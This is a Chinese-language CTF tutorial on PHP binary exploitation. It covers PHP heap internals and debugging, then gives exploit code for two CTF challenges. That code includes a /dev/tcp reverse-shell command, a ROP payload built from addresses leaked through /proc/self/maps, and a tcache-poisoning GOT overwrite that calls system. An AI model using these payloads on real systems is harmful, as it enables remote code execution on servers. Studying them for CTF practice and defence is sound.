php pwn学习
字数 1376 2025-08-22 12:22:24
PHP Pwn 学习指南:二进制安全与漏洞利用
1. PHP Pwn 基础概念
PHP Pwn 是一种针对 PHP 环境的二进制安全攻击技术,主要涉及以下核心概念:
- 远程环境:通常是通过 Apache 搭建的 Web 页面
- 攻击流程:上传恶意 PHP 文件 → 访问执行 → 获取 flag
- 文件上传方法:使用 HTML 表单进行文件上传
文件上传模板
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>POST数据包POC</title>
</head>
<body>
<form action="http://目标IP:端口/index.php" method="post" enctype="multipart/form-data">
<label for="file">文件名:</label>
<input type="file" name="file" id="file"><br>
<input type="submit" name="submit" value="提交">
</form>
</body>
</html>
2. PHP 内核与函数机制
PHP_FUNCTION 宏
- PHP 内部函数通过
PHP_FUNCTION宏定义 - 实际调用时使用
zif_前缀(如zif_addHacker) - 做题时直接使用函数名(如
addHacker,removeHacker)
3. PHP 堆管理机制
与 ptmalloc 的区别
-
内存分配:
- PHP 一次性向系统申请大块内存
- 自身维护内存管理池
- 优先从池中分配,不足时才向系统申请
-
内存释放:
- 释放的内存不返回系统
- 保留在内存池中复用
-
堆结构特点:
- 无 0x10 字节的堆头(header)
- 类似 Kernel 的 slab/slub 分配器
- 与内存桶对齐
-
空闲堆块:
- 包含 fd 指针指向下一个相同大小的堆块
- 类似 glibc 2.27 的 tcache
- 可进行 tcache poison 攻击
4. 常用 PHP 自定义函数
二进制数据处理函数
// 等价于 p64(64位打包)
function p64(string $value): string {
static $p64_table = [...];
$result = "";
for($i = 0; $i < 8; $i++) {
$remainder = $value % 0x100;
$value = (int)($value/0x100);
$result .= $p64_table[$remainder];
}
return $result;
}
// 等价于 u64(64位解包)
function u64(string $bytes): int {
static $u64_table = [...];
$result = 0;
for($i = 7; $i >= 0; $i--) {
$result = $u64_table[$bytes[$i]] + $result * 0x100;
}
return $result;
}
// 64位数字转16进制字符串(用于打印)
function hex64(int $value): string {
static $hex64_table = [...];
$result = "";
for($i = 0; $i < 16; $i++) {
$remainder = $value % 0x10;
$value = (int)($value/0x10);
$result = $hex64_table[$remainder] . $result;
}
return "0x" . $result;
}
// 字符串转整数
function s2i($s) {
$result = 0;
for ($x = 0; $x < strlen($s); $x++) {
$result <<= 8;
$result |= ord($s[$x]);
}
return $result;
}
// 整数转字符串
function i2s($i, $x = 8) {
$re = "";
for($j = 0; $j < $x; $j++) {
$re .= chr($i & 0xff);
$i >>= 8;
}
return $re;
}
5. 调试技术
调试环境搭建
-
常用方法:
- Kali 中使用 pwndbg
- Docker 中使用 gdbserver 开放端口
-
调试命令:
gdbserver 172.17.0.2:6666 /usr/local/bin/php /var/www/html/exp.php -
断点设置:
- 通常需要加载 vuln.so 库后才能设置有效断点
- 常见断点位置:
b _start b *&__libc_start_main+128 b *&__libc_start_call_main+120 b pie+0x247a61 # 与PHP版本相关
6. 漏洞利用技术
例题1:2020 De1CTF-mixture
漏洞点:
- 明显的栈溢出(memcpy 无大小限制)
利用思路:
- 通过
/proc/self/maps泄露 libc 基址 - 栈溢出构造 ROP 链
- 反弹 shell
EXP 关键部分:
$command = '/bin/bash -c "/bin/bash -i >&/dev/tcp/127.0.0.1/6666 0>&1"';
ob_start();
$a = "/proc/self/maps";
Minclude($a);
$buffer = ob_get_contents();
ob_end_flush();
callback($buffer);
$stack = hexdec($stack[1][0]);
$libc_base = hexdec($libc[1][0]);
$payload = str_repeat("a", 0x88);
$payload .= i2s($libc_base + 0x215bf);
$payload .= i2s($stack + 0x1ca98 + 0x90) . i2s($libc_base + 0x23eea);
$payload .= i2s($stack + 0x1ca98 + 0x28) . i2s($libc_base + 0x80a10);
$payload .= "r" . str_repeat("\x00", 0x7) . str_repeat("c", 0x60);
$payload .= $command . str_repeat("b", 0x8);
Minclude($payload);
例题2:D3CTF PwnShell
题目分析:
add操作:ck2 存储另一个堆块 ck1 的地址edit操作:通过 *ck2 找到 ck1,实现任意地址写delete操作:先 free ck1,再 free ck2
利用思路:
- 通过
/proc/self/maps泄露 libc 基址和 vuln.so 基址 - 利用 off-by-null 漏洞:
- free(7) 后再 add 出 $c(0x40 字节)
- 覆盖 ck8' 中 ck8 的地址最低字节为 0x00
- edit(8) 实际变为 edit ck5
- 通过 tcache poison 攻击 GOT 表
EXP 关键部分:
// 泄露地址
ob_start("leakaddr");
include("/proc/self/maps");
$buffer = ob_get_contents();
ob_end_flush();
leakaddr($buffer);
$libc_base = hexdec($libc[1][0]);
$mod_base = hexdec($mbase[1][0]);
// 构造 payload
$a = str_repeat("a", 0x40);
$b = str_repeat("b", 0x3f);
for($i = 1; $i < 0xe; $i++) {
$n = 0x61 + $i;
$aa = pack("C", $n);
$aaa = str_repeat($aa, 0x40);
addHacker($aaa, $b);
}
$cmd = "/readflag > /var/www/html/flag.txt\x00";
editHacker(0, $cmd);
removeHacker(7);
$c = str_repeat("c", 0x40);
addHacker($a, $c);
removeHacker(5);
// 劫持 GOT
editHacker(8, int2str($mod_base + $efree_got));
addHacker($a, $b);
$payload = str_repeat(int2str($libc_base + $system_addr), 8);
addHacker($payload, $b);
removeHacker(0);
7. 关键技巧总结
-
地址泄露:
- 通过
/proc/self/maps获取 libc 和模块基址 - 使用正则表达式提取关键地址
- 通过
-
堆利用:
- 注意 PHP 堆管理机制与 glibc 的区别
- 利用 off-by-null 等漏洞修改关键指针
- 通过 tcache poison 实现任意地址分配
-
ROP 构造:
- 结合泄露的地址计算 gadget 位置
- 合理布局栈空间完成攻击链
-
调试技巧:
- 确保调试环境正确配置
- 在关键函数和内存操作处设置断点
- 结合内存映射信息验证攻击效果